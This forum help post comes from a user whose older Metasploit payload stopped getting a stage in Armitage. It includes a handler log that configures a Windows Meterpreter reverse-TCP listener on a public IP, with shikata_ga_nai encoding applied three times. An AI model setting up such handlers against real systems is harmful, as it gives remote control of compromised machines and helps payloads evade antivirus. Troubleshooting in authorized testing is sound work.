[Metasploit payload stopped working after new one]

Hello.
I was messing around with metasploit. Im using Armitage.

Everything worked fine before. I created a new payload and the old one stopped getting a stage. It just hangs at Starting the payload handler... The new one works fine. Need help fixing it please.

Here's the Armitage log:

 

msf > use exploit/multi/handler

msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp

PAYLOAD => windows/meterpreter/reverse_tcp

msf exploit(handler) > set LHOST  PUBLIC IP

LHOST => PUBLIC IP

msf exploit(handler) > set LPORT 4443

LPORT => 4443

msf exploit(handler) > set Encoder x86/shikata_ga_nai

Encoder => x86/shikata_ga_nai

msf exploit(handler) > set EXITFUNC process

EXITFUNC => process

msf exploit(handler) > set ExitOnSession false

ExitOnSession => false

msf exploit(handler) > set Iterations 3

Iterations => 3

msf exploit(handler) > exploit -j

[*] Exploit running as background job.

[*] Started reverse TCP handler on PUBLIC IP:4443

[*] Starting the payload handler...